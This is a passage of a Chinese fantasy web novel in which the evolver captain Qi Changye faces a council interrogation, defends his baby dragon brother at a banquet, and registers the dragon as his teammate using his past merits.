小祈霁趴在祈长夜肩上，偶然一回头。 一道楼梯延伸而下，通往黑洞洞的客厅。 小祈霁眨巴眨巴眼睛，慢吞吞钻进祈长夜衣领里。 祈长夜垂眼，贴着他脖颈的小龙摇摇尾巴，发出软软的叫声。 哥哥，黑黑，怕怕，抱抱！ 祈长夜摸摸小龙柔软的脊背：“以前，我也有点怕。” “嗷？” 小祈霁从衣领里探头。 【哥哥现在不怕了吗？】 “嗯，”祈长夜说，“那时候……有人陪着我。” 小祈霁安静了几秒。 【那，我也怕黑，所以哥哥要多陪陪我，不准离开我】 那双浅金色的龙瞳微微竖起，一眨不眨地盯着夜色里的那个人。 只准陪着我一个。 月光下，它的人类，向它投来比月色还好看的眼眸。 “好。” —— 乌城，进化者接待中心。 “听说了吗？那位祈副队回来了。” “他？怎么可能！他不是早就被驱逐了！” “几天前，一封议事厅调令，将他调回了上城。” “哈？据我所知，他现在就是个废人，回来又有什么用？要是他站在我面前，我可不会给他什么好脸色。” “你好像很讨厌他？” “哼，如果不是他，三年前，我怎么会被调来这个鬼地方……” 大厅入口，一道修长挺拔的身影踏步而进，风衣掠起锐利的弧度。 那是位容貌出众，眼神如冰的年轻男子，乌黑的眼眸，让人联想到荒原的寒夜。 他的侧颜淡漠，气场冷峻，仿若降临的深渊，仅仅站在那里，就令无形的寒意沉沉压在每个人心头。 整个大厅为之一静。 时隔三年，一双双眼睛，还是认出了那张脸庞。 是他！ 前台的女性职员听到什么动静，低头。 她的同事，刚才还扬言不会给那位好脸色的男人，已经躲到了桌子下面，双手抱头。 “……” “祈队，早上好。” 一位等待已久的工作人员迎了出来。 “请跟我来，您需要重新登记一下进化者信息。” 他们来到前台，女性职员站起，露出一个灿烂的笑容：“您好，祈队。” 信息很快登记完，直到祈长夜随那位工作人员离开，桌子底下的男人才哆哆嗦嗦地冒出了头，诧异地看着女人。 “你不怕他？那个恶魔……” 女性职员忽然踹了男人一脚，在他的惨叫声中，笑容愈发灿烂：“恰恰相反，多亏了他，三年前，我们一家才从地狱里爬了出来。” 穿过长廊，前方引路的工作人员，变成了克里斯。 “祈队，您需要参加一场针对您的议事厅会议。” 克里斯脸色十分严肃。 “这场会议全程保密，不对外传，但，十二坐席，都会到场。” 小祈霁从衣兜里冒了出来，祈长夜轻轻按住它的脑袋：“知道了。” 见到他的表情，克里斯有些意外，连他也是今早才得知这个消息，十二坐席齐至，何等可怕。然而，这位祈队的神色不见一丝意外，成竹在胸，就像是……早有预料。 议事厅，乌城至高存在，坐落于这座城市中心，最高的一片雪白殿堂。 不染纤尘的雪色地砖与石柱，镜面一样，似乎能够映出人心。 祈长夜穿过层层石柱，眼眸掠过无数自己的倒影，蜻蜓点水，毫不在意。 【哥哥，哥哥】 小龙趴在他耳边叽叽咕咕。 【他们是不是要很坏地把我和哥哥分开啦？】 “不会，”祈长夜侧首，“你留在我身边，哪也别去。” 小祈霁点头，乖乖地窝了下来。 过了几秒，又冒出一句：【要是他们想抢走哥哥，我就吃了他们】 少年的声音没什么情绪，祈长夜微微一默，说：“别乱吃东西。” “还有，不用担心。” 石柱尽头，两扇高耸的大门，缓缓打开。 金色的长桌，十二张座椅，十二条无尘白袍，十二枚面具。 第三席坐在仅次于首位的右侧位置，白袍之间，别着一枚浅蓝胸针。 除他以外，所有的目光，掠过长桌，汇聚向那个独独不属于这里的身影。 祈长夜的黑衣，成为割裂雪白的分界线。沉如乌墨的眼眸，静水深流，一人与十二坐席相对。 “祈长夜，六年前，薪火小队副队长，三年前，火种小队队长。” 长桌末端，第十二席的面具下飘来淡淡的声音。 “你的上个任务，是和乌城派下的进化者一起探索芙洛城深渊。结果，那次任务中，S级进化者费尔死亡，A级进化者谢荇失去精神力，只有你，安然无恙。” “那片深渊里，你见到了什么？” …… 黄昏时分，克里斯遥遥站在雪白殿堂的长阶之下，一直等到那道修长的身影从殿堂内走出。 长达一个白天的审问，显然并没有给那位年轻的祈队带来多少波澜。他的脚步沉而有力，表情依然淡定。 克里斯生出了几分钦佩，平时，他独自面对第三席大人都会觉得压力颇大，一人独面十二坐席，那样的画面，根本不敢想象。 晚间的风吹起祈长夜乌黑发丝，掠过那双清冷的眼眸。克里斯恍惚了一下，忽然发现，从某些角度，这位年轻的祈队，和第三席大人，相貌其实有几分相似。 不过，他们都是旧地球时代的后裔，可以理解。 祈长夜抬手，指间的小龙摊开成一长条，慢悠悠地伸了个懒腰。 “饿不饿？” “昂呜。” 只有一点点。 祈长夜从衣兜里拿出一颗糖，剥给小祈霁：“很快就能回家了。” 这场审讯的第一个问题，直指重点。不过，他并没有说出深渊底层，藏有巨龙骸骨的真相。 只是告诉十二座席，深渊无端震动，仅此而已。 至于其他的问题，于他而言，都无关紧要。 小祈霁含着甜甜的糖，抱住祈长夜的指尖，轻轻晃一晃。 【哥哥，那里面有个很讨厌的人】 祈长夜知道小龙说的是谁。 审讯期间，一直有道存在感格外强烈的目光，裹挟着如有实质的压迫，自高空降下。 第一席。 十二坐席之首，高居首位，从始至终，一言不发。 “祈队，今天晚上，还有一场进化者间的宴会。” 克里斯手里不知从哪多了个计划表。 “您要去吗？对您而言，这是个很好的亮相机会。” 祈长夜：“不去。” 克里斯看了眼那只正在掰弄他手指玩的小怪物，诚恳地说：“第三席大人希望您能去，而且，今天的晚宴上……有一位您的熟人。” 祈长夜听到那个名字，安静片刻，说：“宴会上有冰淇淋和小蛋糕吗？” 克里斯：“啊？有的，有的。负责这场晚宴的，是乌城最好的甜点师。” 祈长夜低头，握住小祈霁的爪子：“想不想吃？” 小祈霁看着他，点了点脑袋：“昂！” 绚烂的晚霞沉寂于天边，夜幕只降临短暂一息，璀璨的华灯，照亮不夜之城。 金色穹顶之下，大厅金碧辉煌，衣香鬓影，水晶酒杯和指间钻戒的光辉交相闪烁。 祈长夜穿过大厅，来到食物区，无视了所有落在他身上的目光，投喂他的小龙。 一些窃窃私语，很快飘荡而起。 “我怎么没见过那位美人，旧地球血脉？他是明蓝阁下新找回的亲人吗？” “……大人，劝您离远一点，他姓祈。” “什么？是他？天呐，他可真是……一位美人。” “大人？您要去哪？等等！” 似乎有谁想向餐桌走来，被身边的几位随从飞快拖走了。 小祈霁随意地往那边瞥了一眼，继续埋头，专心致志地吃哥哥投喂的小蛋糕。 一群人进入宴会大厅，掀起短暂的喧嚣。 那是数个家族子弟，围簇着一位衣着华丽的青年。 谢荇。 虽然失去了精神力，但在乌城，他似乎依然是众人焦点。 “谢小少爷，听说您今天去见了您舅舅？” “第三席大人真是疼爱您啊，您才回来，就急着见您。哪像我们这些人，想和第三席大人说一句话，都难如登天。” “说起来，某个祈副队长，在穷乡僻壤待了三年，连接近第三席大人的机会都没有，更别提被您舅舅记住了……” “他现在可是一支小队的队长了。” “只有一个人的小队吗？哈哈……” 那群人并没有注意到，他们讨论的对象正在大厅一侧。哈哈大笑间，有人的语气染上了嘲讽。 “要我说，人就是生来不同命，那个祈长夜，浑身加起来，都不如谢少爷您一根头发丝——” 啪。 疾风卷起，那人手中的酒杯毫无征兆地碎裂，飞溅的碎片，划开鲜血。 他惨叫一声，捂住血淋淋的手腕，环顾左右，眼中燃起怒火：“哪个暗算老子！” 一直没有参与对话的谢荇这才开口，说：“这里是进化者聚会，慎言。” “……是。” 谢荇带着人向前走去，走到一半，脚步骤止。 他的目光定格，他身边，刚才那些肆意嘲笑的人，脸色也变了。 餐桌边，祈长夜舀起一勺冰淇淋，却不给小祈霁吃。 “不用在意这点小事，”他看着小祈霁的眼睛，说，“不要随意伤人。” 小祈霁垂下尾巴，乖乖地点点脑袋，一副“我知道错啦”的小模样。 【哥哥别生气，我听哥哥的】 祈长夜这才将那勺冰淇淋喂给小龙，说：“有什么事情，我可以解决。但，我不希望你的能力用在这种地方。” 小祈霁咬住冰淇淋，继续乖乖点头，睁着圆溜溜的龙瞳，一眨不眨地望着他。 非常可爱的样子。 祈长夜对视一秒。 伸手，摸摸小龙脑袋。 “那是什么玩意……我们上城的宴会，已经沦落到畸形的怪物也能堂而皇之地出现了？” 不远处，几个进化者聚在一起，眼神频频落在小祈霁身上，毫不掩饰厌恶的表情。 “真恶心，一看就是低贱的杂种，低等怪物交.配出来的畸形。” “说不定还有病菌，脏得要死。” 短短几秒间，他们已经议论了好几句。 小祈霁咬了一口烤鸡，觉得很好吃，揪揪哥哥衣角，“嗷嗷”一声。 【哥哥，尝尝这个！】 祈长夜一言不发，轻轻拢住他的小龙。 转头，黑沉的眼眸，精准无误地锁住那几个人。 那几个人被他的眼神吓了一跳，后退一步，还没来得及说什么，就见眉目寒冽的年轻男子穿过人群，黑色衣摆如掠起捕猎的苍鹰，径直来到他们面前。 “道歉。” 冷冰冰的两个字，当头砸下。 为首的那个进化者环顾左右，见不少人纷纷看过来，怒极反笑：“你算什么东西，知道我是谁吗？居然敢带着一只畸形的怪物进来，脏了我的眼睛，我还没和你计较——” 有人从身后拉住他，附耳低语。 那个进化者听完，阴阳怪气“哈”了一声：“祈长夜？那个三年前被赶出上城，精神力尽失的家伙？怎么，觉得我会怕你？” 他扫了眼祈长夜掌心里的小祈霁，表情满是嘲讽：“你最好看紧点你的怪物，别一不小心让它被人踩死了，或者，今晚就从我家楼上摔下去，摔成肉泥——” 话音未落，他的双脚忽然离地，整个人被一股巨力向后撞去——“砰”一声巨响，他的后脑撞上墙壁，发出一声变形的痛呼。 祈长夜单手扼住他的脖颈，灿金的眼眸，一片森寒：“现在，谁要小心？” 窒息，恐惧，被钉在墙上的进化者下意识挣扎，发动了能力，但很快，他浑身剧烈战栗起来。 他的能力，完全失效了！ ——精神力压制！ “祈……祈队！”另外几个进化者惊慌后退，“你敢在这里动手？！这里可是——” 祈长夜：“我有什么不敢。” 大厅一片死寂。 小祈霁似乎有些呆住了，浅金色的龙瞳微微颤动，随即，灼烈的星芒燃起，映照着那道唯一的，耀眼的身影。 “祈霁是我弟弟。” 祈长夜锋锐的眼眸扫过全场，冰冷的声音不高不低，贯穿整个宴会大厅。 “侮辱他，等于直接向我挑衅。” 第二十四章 哥哥生气啦！ “我错了！祈霁大哥, 对不起！” 宴会大厅，几个进化者大声哭嚎，连连道歉。 小祈霁：“？” 浅金色的龙瞳里写满嫌弃, 小龙飞快钻进哥哥袖子里。 “我真的错了！你看我一眼吧！祈霁哥哥！求您老人家原谅我们吧——” 刚才还嚣张跋扈的几个进化者, 现在一个个怕得要死, 如果不是祈长夜站在这里, 他们恐怕就要冲到小祈霁脸上, 哭嚎着求它原谅。 毕竟，如果小的不原谅他们，他们就要被大的打死了啊！ 想到刚刚祈队一人压制他们的恐怖场面, 这几个进化者哭得更大声了。 “停。” 祈长夜简单的一个字, 几个进化者立刻收声, 一点哭腔都不敢漏出来。 祈长夜抬起手腕, 看着袖子里的小龙：“要原谅他们吗。” 小祈霁还是很嫌弃，一点也不想往那边瞥，随便点点脑袋。 “你们可以走了。” 清冷的声音，让那几个进化者如蒙大赦，也顾不上刚才有多丢人, 脚底抹油了一般，逃出宴会大厅。 他们一走，小祈霁就飞快从袖子里爬出来, 抱住祈长夜手指, 那双亮晶晶的龙瞳一闪一闪, 满心满眼都映着他的影子。 【哥哥，哥哥！】 少年的声音, 一声比一声轻快。 【喜欢哥哥！】 亲亲祈长夜手指。 指尖落下微微的湿润，祈长夜垂眼, 他的小龙捧着他的手，浅金色的龙瞳，写满珍惜和虔诚。 下意识的，祈长夜微微收回指尖。 小龙飞快贴过来，啪叽一口，又亲亲他的掌心。 这里亲亲，那里也亲亲。 “……” 祈长夜提溜起这只抱住他亲来亲去的小龙，把它塞进衣兜里了。 下一秒，衣兜里冒出一只小脑袋，小祈霁眨巴眨巴地看着他。 【哥哥！】 “嗯。” 【其实，他们说的那些话，我一点也不生气】 它只在乎一个人，剩下的，都无关紧要。 祈长夜对上那双龙瞳：“但，我会在意。” 【我知道】 小祈霁轻轻黏住他，隔着衣服，一下一下磨蹭。 【哥哥最在意我啦】 【所以，我会一直好好的，一直陪着哥哥】 【哥哥不用担心我，我会努力变强，那些人，伤害不了我】 祈长夜眼眸微动，垂下手指，抵住小龙的脑袋。 啪叽。 小祈霁躺在他的手中。 被哥哥击中啦。 谢荇走过来时，就见宴会明耀的灯光下，那个年轻男子托着掌心里的怪物，一向冷静淡漠的乌黑眼眸，似有摇曳波荡的涟漪，如同点燃的千盏灯火，融于墨色清池。 他的脚步一顿，只是片刻，又神色如常地走了过去。 “刚才那个人，是凯撒家族的二子。” 谢荇路过祈长夜身边，像是不经意地微微停留。 “凯撒家族背靠现在的第十席，你不怕得罪他们……” 还没说完，淡漠的声音直接打断他的话语：“三年前，薪火何曾得罪过谁。” 谢荇一愣。 从始至终，祈长夜都没分给他半点眼神，抛下一句“不过是欺软怕硬”，抬步离开。 餐桌边，小祈霁用风卷起几只虾，熟练地剥壳，剥好一只，就塞给哥哥一只。 “今晚的星空真动人。” 昂扬的男声响起，一道身影，悠悠绕到祈长夜身边。 “你说是吧，美人。” 原本还在摇着尾巴给哥哥剥壳的小祈霁：“？” 小龙立刻进入警戒状态，祈长夜无动于衷地抬眼。 “啊，尊敬的祈队。” 那人从善如流地改口，他有一头不羁的金色卷发，一双含情脉脉的琥珀色眼睛。 “自我介绍一下，我叫波罗斯，仰慕祈队风采，很愿意和你交个朋友。” 小祈霁举起一块菠萝，面无表情地啃了一大口。 “如果祈队之后想在乌城发展，可以来香榭大街找我。” 波罗斯镶嵌宝石的白手套夹着一张烫金雕花名片，递名片的动作，就像捧起一簇灿烂的花。 “我的父亲是第四席，有一点点微小的、不值一提的地位，说不定能帮到你。” “当然，如果祈队觉得我这张脸不错，很值得一交，今晚，我们就可以度过一个美好的——” “借过。” 祈长夜带着小祈霁，径直走向另一边。 波罗斯被撂在原地，也丝毫不气恼，笑盈盈地望着他的背影，灵巧的手指将名片叠成一朵小花，往前一抛。 转身，对着不远处的几位随从大声宣布：“哈哈，没挨打，他果然对我有好感！” 随从们：“……” 宴会角落，一个不起眼的青年，嘴巴紧闭，频频瞄向某一侧。 直到那道身影真的出现在他的视线中，青年反而被吓了一跳，无所适从地缩起肩膀。 “……副队长。”他盯着自己的鞋尖，小声地说，“晚，晚上好。” “好久不见，”祈长夜看着青年的眼睛，“洛兰。” 洛兰听见那道清沉悦耳的声音说出自己的名字，嘴角微微弯了一下，又像是不想被发现，很快撇了下去。 “好久不见，副队长。” 他小心翼翼地抬起一点眼帘，暗蓝的瞳孔藏在眼帘之下，偷偷凝视对面那人的眉眼。 山水画般的眉眼之下，削薄的唇瓣微张：“这些年，你过得怎么样。” 平静的声音，依然是三年前记忆里的样子，就像无垠的冰川，似乎无论遇到什么磨难，都不会给那人留下太多波澜。 “我？我很好啊。副队长你走后没多久，我就得到了一份工作，在进化者服务中心，很清闲，同事也很照顾我。” 洛兰的手指揪住自己衣角，反复摩擦那一点衣料，直到指腹磨蹭出了微小的热度。 “上个月，我还去了一趟城外……队长，还有大家，他们的墓碑前，开了很漂亮的小花。” 他抬起脸庞，意料之中地捕捉到那双乌黑眼眸，一瞬间划过的涟漪。 “副队长，你现在回来……是要继续接任薪火小队吗？” “那样的话……我能加入你的小队吗？” —— 离开宴会，回到小楼，面朝林荫的露台，栏杆上，散着几颗糖。 夜间的凉风，悠悠地吹拂过小龙的尾巴，流转于祈长夜的乌发之间。 小祈霁趴在哥哥头顶，咬着甜甜的糖，一下一下拨弄那柔软的发丝。 【哥哥】 “嗯。” 【你今天去那里，是为了见那个人嘛？】 “嗯。” 【……哥哥也喜欢他？】 那个“也”字，咬重了一点点点点。 祈长夜把头顶的小龙抱下来，说：“以前，我的队长，救下了他。” 小祈霁：“嗷？” “他的存在，是薪火曾经的证明。”祈长夜一下一下抚摸小龙，眸光落在微凉的夜色间，“但，薪火已经落幕了。” 小祈霁微微晃了一下尾巴。 【所以，哥哥没有答应他】 祈长夜无言，也是默认。 小祈霁嗖嗖爬到他的肩膀上，软软地蹭蹭他的衣领，少年轻而依恋的声音贴着耳畔响起： 【哥哥，我可以知道一点点，哥哥的过去嘛？】 这里的所有人，都知道哥哥的过去。 只有它不知道。 它来到哥哥身边的时间太晚了，晚到它看着那些人，有时候，会觉得不太公平，会忍不住……想要吃了他们。 片刻的安静后，祈长夜开口：“下次吧。” 小祈霁点点脑袋，“嗷呜”了一声。 抱住自己的小尾巴，脑袋耷拉下来，枕在尾巴尖尖上。 一点也没有伤心，也没有难过的样子。 那双耷拉的龙瞳，更不委屈，更不可怜兮兮。 祈长夜：“……” 他又把小祈霁抱了下来，一下一下，温柔地沿着小龙的脑袋抚至软软的尾巴。 “三年前，我的精神力严重受损，独自离开乌城。那时，我知道我不可能再回来，我的精神力也很难再恢复。” 小祈霁昂起脑袋，尾巴圈住祈长夜手指，安静地倾听。 “你没来到我身边时，我一直觉得，这个世界并不值得留念。哪怕精神力枯竭，衰弱而死，也是我应有的结局。” “嗷！” 小祈霁跳了起来。 【哥哥，才不是那样！】 祈长夜垂眼，静静地注视他的小龙，声音随着夜风流动： “这些年，每次动用能力，我都会受到严重反噬。医生劝过我很多次，但我和他都知道，这种情况，不可能被治愈。” “直到，你的第一枚鳞片，给了我。” “那之后，我再也没有受到反噬。” 星月的微光下，他低头，抵住小龙脑袋，轻轻地说。 “所以，谢谢。” “——我的小太阳。” “……” 夜风悄悄吹拂，小祈霁贴着哥哥的脸庞，一动不动了很久。 哥哥说，它是哥哥的小太阳。 ……其实它才不是太阳。 但是，但是，哥哥说话的声音很好听，哥哥看着它的眼神……比太阳还要好看。 小龙埋下脑袋，飞快磨蹭祈长夜脸庞，暖乎乎地黏紧他。 祈长夜的眼眸映出一点闪烁的光泽，一开始，他以为是星光，很快，他发现，那是鳞片闪烁的反光。 ——第二枚鳞片，诞生于小龙心脏的位置。 是枚小小的爱心形状。 小祈霁依然没有发觉，直到祈长夜的手指温柔地拨弄它，给它指了出来。 顿时，这只小龙浅金色的龙瞳，倒映出了闪闪的鳞片反光。 “嗷呜！” 瞬间变得开心无比的小祈霁跳来跳去，围着祈长夜转圈圈。 终于拥有第二枚鳞片的小龙，飞得高高的，又啪叽一下，软软地撞到哥哥怀里。 露出软乎乎的小肚皮，在他掌心里蹭来蹭去。那枚小爱心一样的鳞片，随之一闪一闪。 祈长夜伸手，轻戳一下。 小龙抖了抖，条件反射地蜷缩起来。 然后它就呆住了。 低头，看看那枚鳞片。 再抬头，看看祈长夜，龙瞳大大地睁着。 祈长夜：“怎么了？” 他的手指落下，还想摸摸那枚漂亮的鳞片—— 小祈霁飞快捂住。 嗖嗖快地钻进他的袖子里，不肯冒头了。 “？” 祈长夜抬起袖子，看着里面缩成一小坨、只露出一双圆溜溜大眼睛的小龙。 “新的鳞片，不能摸吗？” 小龙飞快点头。 祈长夜：“为什么？” 小龙不吭声。 祈长夜与那双单纯又无辜的龙瞳对视两秒，说：“你出来吧，我不碰。” 小祈霁就从袖子里钻出来了。 仰起脑袋，看着哥哥。 爬到哥哥手边，晃一晃他的袖子。 哥哥生气了嘛？ 祈长夜：“没有。” 然后拿走放在小祈霁旁边的糖。 小祈霁眼睁睁地看着那些原本给它吃的糖，进了哥哥的衣袋，那只好看的手，还把衣袋盖紧了。 “……叭？” 哥哥生气了嘛？ 祈长夜：“没有。” 顺手把自己的手指从小祈霁爪子里抽了出来。 不准抱了。 小祈霁：“……” 完辣！ 第二十五章 新的队友 一条小龙焦急地围着祈长夜转来转去, 软乎乎的小脑袋轻拱他的指间，小尾巴往他手指底下塞塞。 “啾，啾啾！” 给哥哥摸摸！ 哥哥不要生气！ 那条小尾巴飞快地一摇一摇, 蹭过指根, 上面的鳞片也一闪一闪。 “啾啾啾！” 哥哥！理理我！ 指间微微酥痒, 祈长夜捏捏小祈霁：“听到了。” 小祈霁一下看着他。 “我没生气, ”祈长夜拆开一颗糖, 喂给小龙，“逗你的。” 小祈霁：“……” 哥哥欺负它！ 意识到什么的小龙嗷嗷嗷地围着祈长夜转了一圈，气汹汹地叉腰。 祈长夜晃晃指尖的糖。 小龙“啊呜”一口吞了糖。 继续凶巴巴地叉腰。 祈长夜的目光落在小祈霁心口间, 那枚心形的鳞片, 比尾巴的稍大一点, 银白无暇, 像颗小小的钻石。 小龙现在拥有的第二枚鳞片，也是它的第三枚鳞片。 “很漂亮。” 小祈霁：“……” 哥哥又夸它了。 那，那好吧，它才不会和哥哥生气。 鳞片闪闪的小龙，尾巴摇得飞快, 飘高高，贴贴祈长夜脸庞。 祈长夜带着这只黏黏龙，回到了卧室。 “明天, 我会重新登记小队信息。” 临睡前, 他给小祈霁解释了一些东西。 “每一个城市都有很多进化者小队, 需要执行不同的任务。以后，我们可能要经常出去做任务。” 小祈霁：“昂！” 做任务能干嘛呀？ “向上走。”祈长夜淡淡地说, “直到有人坐不住，将我拖下去。” ——直到, 他将那些明枪暗箭都踩在脚下，让他的小龙能够自由自在地飞行。 小祈霁安静了几秒。 【哥哥】 “嗯？” 【是不是哥哥捡到我以后，那些坏人就盯上哥哥了】 祈长夜偏过头，黑夜中，那双浅金色的龙瞳依然明亮。 这只小龙，已经猜到了一些东西。 他从深渊带回龙蛋，也让他的名字，时隔三年，再次出现在乌城。 对于一些人来说，沉寂的死灰复燃，当然要再次泼灭，最好，是彻底抹杀。 “和你没有关系。”祈长夜清悦的声音，在平静的夜色里流淌，“带你回去，是我的选择。” “每个人都要为自己的选择负责，乌城的人，也一样。” 小祈霁爬到祈长夜身上，在靠近他的心口的位置，窝成小小一团。 【那，和哥哥在一起，也是我的选择】 【我会对哥哥负责的！】 “嗯。” 祈长夜拉起被子，轻轻拢住小祈霁，暖烘烘的小龙，让被窝也变得温暖起来。 清晨，厨房里，飘出了烘烤的气味。 “按照规定，您从芙洛城调到乌城，想继续担任火种小队队长，需要先完成考核任务，重新注册队长信息。” 早上八点，克里斯准时刷新在门口。 “我听说，昨晚的宴会，凯撒家族的二子挑衅了您？” “他们家族在两年前，选择效忠现在的第十席。如今，负责队长考核与登记的，也是第十席的人。” 祈长夜淡淡地说：“我从深渊捡到龙蛋的消息传回乌城时，敲定派往芙洛城人选的，是第十席？” “您猜得没错，”克里斯点了点头，“他举荐了布林诺，那个不学无术的冒牌博士，虽然布林诺死了，他的家族依然忠于第十席。” 他的表情似有嘲讽，如今的第十席，和三年前的第十席，有一个共同特征——他们都是“贵族”，他们背后，都有许多依附的家族支撑。 十二坐席中，唯有第三坐席，和第十一坐席，是那些家族眼中的“平民”出身。 “祈队，我们什么时候出发？” “稍等。” 祈长夜偏头，看着餐桌边的小祈霁。 小祈霁今天的早餐，是一块软塌塌、黏糊糊的东西。它一小口一小口啃着，心情很好，尾巴愉悦地摇来摇去。 克里斯盯着看了几秒，才意识到那可能是一块蛋糕。 “这是哪家的蛋糕，卖相这么差。” “我做的。” “……话又说回来，这个蛋糕长得可真蛋糕啊，一看就很美味。” 小祈霁瞥了他一眼，飞快吃完了剩下的蛋糕，一点也不想分给他。 进化者服务中心，祈长夜接到了自己的任务。 深渊第八层，开采蓝晶。 “……任务地点，是波尔城管辖的深渊。”克里斯眉头紧皱，“那是一片大型深渊，有十二层，出现过S级怪物。蓝晶在第八层非常少见，想达到任务要求的数量，至少要下到第十层。” “不久前，凯撒家族的长子注册成为队长，任务仅仅是带走第五层的一种矿物，难度根本不在一个层次。” “没关系。”祈长夜侧首，肩上的小祈霁，正在跃跃欲试，“走吧。” “昂！” 波尔城，深渊。 进入这里没多久，一只怪物就挡在前方。 【哥哥，别怕！】 小祈霁随风飘起，跳到那只怪物面前，将祈长夜护在身后。 怪物无动于衷，瞥了眼这只塞牙缝都不够的小不点，打了个哈欠，露出比小龙还大数倍的獠牙。 小龙呲牙。 浅金色的龙瞳，一瞬竖起。 怪物：“！” 怪物扭头就跑。 小龙凶巴巴地在后面追。 它追它逃，绕着附近跑了三圈。 祈长夜：“……” 很快，怪物就跑没影，小祈霁也飘了回来。 【哥哥，它不还手】 小龙微昂下巴，表情带点小自矜。 【我才不以大欺小】 祈长夜摸摸这只一么么大的小龙，微微颔首：“它怕你，因为你很厉害。” 被哥哥夸夸，小祈霁蹦跶了一下。 【我也觉得！】 然后，少年轻灵的声音，染上几分温柔。 【哥哥，坐稳】 微风温柔地环绕过祈长夜身边，托起他的身体。 祈长夜垂眼，他的双足离地，宛如凭空多了一对风翼，以极快的速度，向前飞去。 小祈霁坐在他的肩上，轻软的尾巴一晃一晃，那枚小小的鳞片，时不时扫过他的脸颊，落下微微的酥痒。 【以后，哥哥想去哪里，我都陪着哥哥】 【没有我到不了的地方】 小龙的语气矜傲，却又充满依恋，融进了风里。 流转的风，像是无形的龙躯，缓缓缠绕它的人类，将他圈在自己的躯体之间。 祈长夜的手指拂过微风，轻柔的力度，如同拂过龙躯间的鳞片。 “有个问题。” “嗷呜。” 哥哥说！ 祈长夜看着面前越来越近的石壁：“你会转弯吗？” 【！】 【！！！】 ——事实证明，小龙虽然能用风带着哥哥赶路，但，还不熟练。 不会转弯。 …… 进化者服务中心，队长信息登记处。 伊莲觉得今天太阳打西边出来了。 离下班还有三个小时，他们那位迟到早退，一天辛苦工作半小时的主任，居然还坚守在座位上，简直令人钦佩。 有人靠近服务窗口，透明的玻璃，映出一双漂亮而令人深刻的乌黑眼眸。 伊莲认出了他，那位三年前就闻名乌城的年轻人，今天上午，才接了重新登记队长的任务。 他的肩上趴着一只长相奇怪的幼崽，深渊的小怪物，听说，是他非常珍视的“弟弟”。 “提交任务。” 年轻男子的声音同样很好听，让她想起落满白雪的云松。 上午接的任务，下午就完成，快到惊人的效率。伊莲正准备接待，就见她那个主任站了起来。 “恭喜祈队完成任务，我是马修，很高兴为你服务。” 那个大腹便便的中年男人直接拆开祈长夜放下的袋子，将里面的晶石哗啦啦倒了一桌。 莹润的晶石照亮他的双眼，马修喉咙滚动一下，肥厚的手指在里面挑挑拣拣。 “祈队，你采集的晶石数量是够了，但……质量似乎不对啊。你看，这这这，这有一道裂纹，这块颜色不均匀……” 伊莲定睛一看，这些晶石色泽明亮，表面无痕，绝对是上品。明眼人都能看得出来，马修在故意挑刺。 但，没有人敢说什么。 这个马修不仅是他们的顶头上司，背后的家族还依附于那位第十席。平时有人和他不对付，都会被整得很惨。 “不行不行，这些瑕疵品都不合格，去掉的话数量就不够了，祈队，你这样让我很难办啊。” 马修大掌一抹，十几颗晶石滚进他的口袋里，那双细小的眼睛，闪烁讥讽的笑意。 原本悠悠趴在祈长夜肩上的小祈霁站了起来，祈长夜淡定地按住小龙，又丢出一袋晶石。 同样的蓝晶，同样美丽炫目。 马修咕嘟咽了口口水，再次挑拣起来。 昂贵的蓝晶，吸引了不少人的注意，有人围拢过来，马修左右一扫，飞快把那堆晶石扫进袋子里，藏在手底下。 “这……这批的质量是够了，数量也凑齐了，既然如此，就算达标吧。” 他抽出一张皱巴巴的登记表，推了过去。 “恭喜祈队，队长信息重启成功。” “不过嘛，你的火种小队只有队长一个人。按照规则，一支小队最少需要两名成员。” “如果你在今天内没能提交新的成员信息，中心会为你随机分配一个名额。” 旁边的伊莲微微皱眉，真正的规则明明是三周内，还有很充裕的时间。 服务中心的角落，一个青年刚好听见这句话，抬起了头。 祈长夜察觉到那一侧的注视，偏过目光，恰好与青年相对。 洛兰。 昨天才在宴会上相遇的洛兰对他露出一个很轻的笑容，算是打过招呼，又低下了头。 小祈霁眯起龙瞳，不悦地摆动一下尾巴。 马修摸了摸嘴边油汪汪的小胡子：“如果祈队你没有队员，那很遗憾，我只能给你随机分配……” “不用。”祈长夜平静地说，“我有人选。” 小祈霁一下抓紧哥哥衣角，那双微竖的龙瞳里，角落的洛兰再次抬头—— 然后，这只小龙就被祈长夜举了起来。 “祈霁，我的队友。” “……” 刹那间，浅金色龙瞳里的冷意烟消云散，变得清澈又乖巧。 这只小龙尾巴翘起，得意洋洋地高昂脑袋。 “这不合规矩！”马修立刻说道，“上城从来没有这样的先例，让一个怪物加入进化者小队——” 祈长夜：“现在有了。” “……你想打破先例？” 马修露出一个做作的恍然大悟的表情，手指快速在窗口操作起来。 “那当然可以，谁让你是无所不能的祈队嘛——前提是，你有足够的功勋。” 他按下按钮，大厅中间，一道巨大的光屏升起，清晰到每一人都能看得一清二楚。 “请看，这是上城进化者小队的排位表，看见那个第一名了吗？‘黄金’小队，进化者中的无冕之王！” “成立至今，短短三年，他们就执行过五个S个任务，十三个A级任务！” “这样的功勋，当然可以打破许多先例。现在，让我来查一查，我们骄傲的祈队，为乌城做出了怎样的贡献——” 马修迫不及待地操纵着界面，他的手指从未如此灵活，大脑从未如此机敏。 ——直到，光屏弹出新的界面，有人惊呼出声。 像是被扇了巨大一耳光，马修整个人都石化在了原地。 祈长夜，薪火小队副队长，这个名字下面……承载着数不清的功勋。 六年前，他从薪火小队预备队员转正，执行的任务记录，一直持续到三年前。 这三年，他的每一个任务，难度都不低于A级，任务数量，粗略一扫，也有惊人的几十件。 这意味着，几乎每隔两周，他都要去执行一件危险程度为A的任务，并且，完成的效率极高。 这还只是A级的记录，A级之上，金色的S级……排满整整一面。 十八个。 乌城最高的S级任务记录，每一项的完成率，都是百分之百。 金黄的页面，如同燃烧的焰火，让整个大厅为之寂静。一双双眼睛写满震惊，还有不少人拿出通讯器，拍下了这一幕。 那是薪火的光辉，是属于薪火小队副队长，祈长夜的功勋。 时隔三年，他站在这里，嗓音依然平静：“现在，够了吗？” 马修陡然落下冷汗：“够，够了……” 他的嘴唇几次开开合合，出乎所有人意料的，话音一转：“但是——” 旁边的伊莲差点破口大骂，但什么但！你他爹的怎么还在但！ “但是，”顶着几乎所有人谴责的目光，马修咬牙吐出了下半句话，“您的这个队员，没有身份卡，无法登记队员信息！” 祈长夜瞥了他一眼。 马修身躯微颤，嘴角却勉强勾起一点，刚要宣布胜利般说什么，就听见那道轻描淡写的声音： “那就为他注册。” “拿我的所有功勋换。” 